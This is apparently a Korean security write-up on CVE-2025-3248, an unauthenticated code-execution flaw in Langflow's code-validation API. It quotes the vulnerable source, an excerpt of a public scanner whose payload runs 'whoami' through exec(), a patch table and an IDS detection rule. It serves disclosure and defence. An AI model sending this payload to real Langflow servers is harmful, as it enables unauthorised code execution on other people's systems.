Langflow 임의 코드 실행 취약점 (CVE-2025-3248)

1. Langflow

- 대규모 언어 모델(LLM)과 다양한 데이터 소스를 활용하여 AI 애플리케이션을 시각적으로 설계하고 구축할 수 있는 low-code 플랫폼 [1][2]

- Python 기반으로 개발되었으며, 특정 모델, API, 데이터베이스에 구애받지 않고 유연하게 사용 가능

2. CVE-2025-3248

[사진 1] CVE-2025-3248 [3]

- /api/v1/validate/code에서 발생하는 임의 코드 실행 취약점 (CVSS : 9.8)

영향받는 버전
Langflow 1.3.0 미만 버전

 

- /api/v1/validate/code : LLM이 생성한 코드의 유효성을 검증하는 API

> 해당 API를 누구나 호출 가능

> validate_code()를 내부적으로 호출 [4]

async def post_validate_code(code: Code) -> CodeValidationResponse:
    try:
        errors = validate_code(code.code)
        return CodeValidationResponse(
            imports=errors.get("imports", {}),
            function=errors.get("function", {}),
        )
    except Exception as e:
        logger.opt(exception=True).debug("Error validating code")
        raise HTTPException(status_code=500, detail=str(e)) from e

 

- validate_code()는 파이썬 코드의 문법을 검증하고 exec()를 통해 해당 코드를 실행 [5][6]

> 파이썬 코드에 import문과 함수 선언문이 있는지 확인

> import문이 있는 경우 해당 모듈을 로드하고, 함수가 있는 경우 exec()를 통해 해당 코드 실행 [7][8]

def validate_code(code):
    # Initialize the errors dictionary
    errors = {"imports": {"errors": []}, "function": {"errors": []}}

    # Parse the code string into an abstract syntax tree (AST)
    try:
        tree = ast.parse(code)
    except Exception as e:  # noqa: BLE001
        if hasattr(logger, "opt"):
            logger.opt(exception=True).debug("Error parsing code")
        else:
            logger.debug("Error parsing code")
        errors["function"]["errors"].append(str(e))
        return errors

    # Add a dummy type_ignores field to the AST
    add_type_ignores()
    tree.type_ignores = []

    # Evaluate the import statements
    for node in tree.body:
        if isinstance(node, ast.Import):
            for alias in node.names:
                try:
                    importlib.import_module(alias.name)
                except ModuleNotFoundError as e:
                    errors["imports"]["errors"].append(str(e))

    # Evaluate the function definition
    for node in tree.body:
        if isinstance(node, ast.FunctionDef):
            code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
            try:
                exec(code_obj)
            except Exception as e:  # noqa: BLE001
                logger.opt(exception=True).debug("Error executing function code")
                errors["function"]["errors"].append(str(e))

    # Return the errors dictionary
    return errors

 

2.1 PoC

- 공개된 Scanner에서는 /api/v1/validate/code URL로 import문과 def문이 포함된 파이썬 코드를 POST 메소드로 전송 [9]

...
def check_vulnerability(self):
        """Check if target is vulnerable to Langflow vulnerability"""
        try:
            validate_url = urljoin(self.url, '/api/v1/validate/code')
            # 使用exec函数执行代码
            payload = {
                "code": """
def test(cd=exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')):
    pass
"""
            }
            
            print(f"{Fore.YELLOW}[*] Testing endpoint: {validate_url}")
            response = self.session.post(
                validate_url, 
                json=payload, 
                timeout=self.timeout
            )
            
            print(f"{Fore.YELLOW}[*] Response status: {response.status_code}")
            print(f"{Fore.YELLOW}[*] Response headers: {dict(response.headers)}")
            print(f"{Fore.YELLOW}[*] Response body: {response.text}")
...

3. 대응방안

- 벤더사 제공 업데이트 적용 [10][11]

> 현재 사용자만 API를 이용 가능하도록 패치 적용

제품명	영향받는 버전	해결 버전
Langflow	1.3.0 미만	1.3.0

 

- 탐지 룰 적용

alert tcp any any -> any any (msg:"CVE-2025-3248"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/validate/code"; http_uri; content:"def"; http_client_body; content:"import"; http_client_body;)

4. 참고

[1] https://www.langflow.org/
[2] https://wikidocs.net/267515
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-3248
[4] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/api/v1/validate.py#L16
[5] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L24
[6] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L57
[7] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L44
[8] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L53
[9] https://github.com/xuemian168/CVE-2025-3248
[10] https://github.com/langflow-ai/langflow/pull/6911/commits/dbae45f5717b9bf0f3096fce7399851aba27e658
[11] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71717&menuNo=205020
[12] https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/?utm_source=chatgpt.com